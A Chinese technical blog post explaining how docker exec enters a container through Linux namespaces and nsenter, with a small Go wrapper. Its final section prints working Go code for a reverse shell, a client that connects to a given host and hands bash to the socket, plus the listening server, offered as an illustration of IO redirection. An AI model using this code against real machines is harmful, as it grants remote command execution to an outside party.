docker exec
命令的作用是进入到“容器内部”,并执行一些命令,那么它是如何实现把“容器内部”的 io 重定向到我们的终端(bash) 的呢?
基本原理
首先,要明白容器所依赖的内核 namespace 的概念,其实不存在“容器内部”,只要两个进程在相同的 namespace,那它们就相互可见,从用户的角度来说,也就是进入了容器內部。
nsenter
nsenter 是一个命令行工具,它可以运行一个 binary,并且把它加入到指定的 namespace 中。
用法如下,
nsenter -h
nsenter -a -t <pid> <command>
nsenter -m -u -i -n -p -t <pid> <command>
假设有一个 redis container 正在运行,通过 docker inspect --format {{.State.Pid}}
获取 pid, 假设为 2929。
然后运行 nsenter 命令:
# nsenter -a -t 2929 ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
redis 1 0.0 0.0 52968 7744 ? Ssl May17 0:19 redis-server *:6379
root 93 0.0 0.0 7640 2748 ? R+ 05:47 0:00 ps aux
可以看到,ps 命令输出了 “容器內部” 的进程: redis 和 ps,符合我们的预期。
Golang 调用 nsenter
现在知道了如何利用 nsenter 命令进入容器内部了,那么该怎么用 go 实现呢? 因为 docker 的实现语言就是 go,因此我们来实现一个简易版的 docker exec 。
这里要用到 Golang 自带的 "os/exec"
库,exec 实现了对命令行的一些封装,这里我们只要用 Command 函数即可:
func main() {
nscmd := exec.Command("nsenter", "-a", "-t", "2929", "bash")
nscmd.Stdin = os.Stdin
nscmd.Stdout = os.Stdout
nscmd.Stderr = os.Stderr
err := nscmd.Run()
if err != nil {
fmt.Println("err : ", err)
}
}
非常简单的一段代码,其中关键部分是把用户在 terminal 的输入输入重定向到 nscmd 的 Stdin 结构体成员,这样我们在 terminal 里面敲键盘的输入都会进入到容器內部的 bash 里了。
运行 binary 后输入 ifconfig,看到 eth0 的信息是典型的容器 ip 地址,证明确实在 redis 容器內部。
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 473 bytes 686675 (670.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 381 bytes 23207 (22.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
反弹 shell
通过上面的内容,我们知道了如何运行一个本地二进制文件进入容器內部,但是类似 kubectl exec
,或者像被拆分后的 docker,分成了很多独立的组件,那么是如何通过网络实现 IO 的重定向的呢?
其实答案非常简单,把 socket 的文件描述符 fd 赋值给 cmd 的 stdin/stdout 即可。
docker exec 真正的实现是 docker runtime 实现了一个 gRPC 服务 RuntimeService,但是因为 docker 被拆成了很多模块,我暂时没找到具体的实现代码,但原理是一样的。
在查阅资料的过程中看到了一个反弹 shell 的代码,觉得很有意思,就贴在下面,其原理就是利用 IO 重定,核心代码是:
c, err := net.Dial("tcp", "ip:port")
cmd := exec.Command("bash")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
client 端
func main() {
ip := flag.String("i", "", "ip address")
port := flag.String("p", "8888", "port")
flag.Parse()
c, err := net.Dial("tcp", *ip+":"+*port)
if err != nil {
fmt.Println(err)
}
cmd := exec.Command("bash")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
err = cmd.Run()
if err != nil {
fmt.Println("err : ", err)
}
}
server 端
func main() {
l, err := net.Listen("tcp", ":8888")
if err != nil {
fmt.Println("Error listening:", err.Error())
os.Exit(1)
}
defer l.Close()
conn, err := l.Accept()
if err != nil {
fmt.Println("Error accepting: ", err.Error())
os.Exit(1)
}
go handleConnectionReader(conn)
reader := bufio.NewReader(os.Stdin)
fmt.Printf("> ")
for {
input, err := reader.ReadString('\n')
if err != nil {
fmt.Println("Error reading:", err.Error())
break
}
if strings.Compare("exit", strings.Replace(input, "\n", "", -1)) == 0 {
break
}
conn.Write([]byte(input))
}
conn.Close()
}
func handleConnectionReader(c net.Conn) {
for {
buf := make([]byte, 1024)
_, err := c.Read(buf)
if err != nil {
fmt.Println("Error reading:", err.Error())
os.Exit(1)
}
fmt.Printf("%s", buf)
fmt.Printf("> ")
}
}
让 client 端主动去连接 server 端,之后就能在 server 端使用 bash 操作 client 了。
总结
通过以上三节的内容,已经不难理解 docker exec 是如何实现在容器內部运行的 bash 交互的了,关键还是要理解把 os.Stdin 作为一个变量传给实现了 Read() Write() 接口的结构体。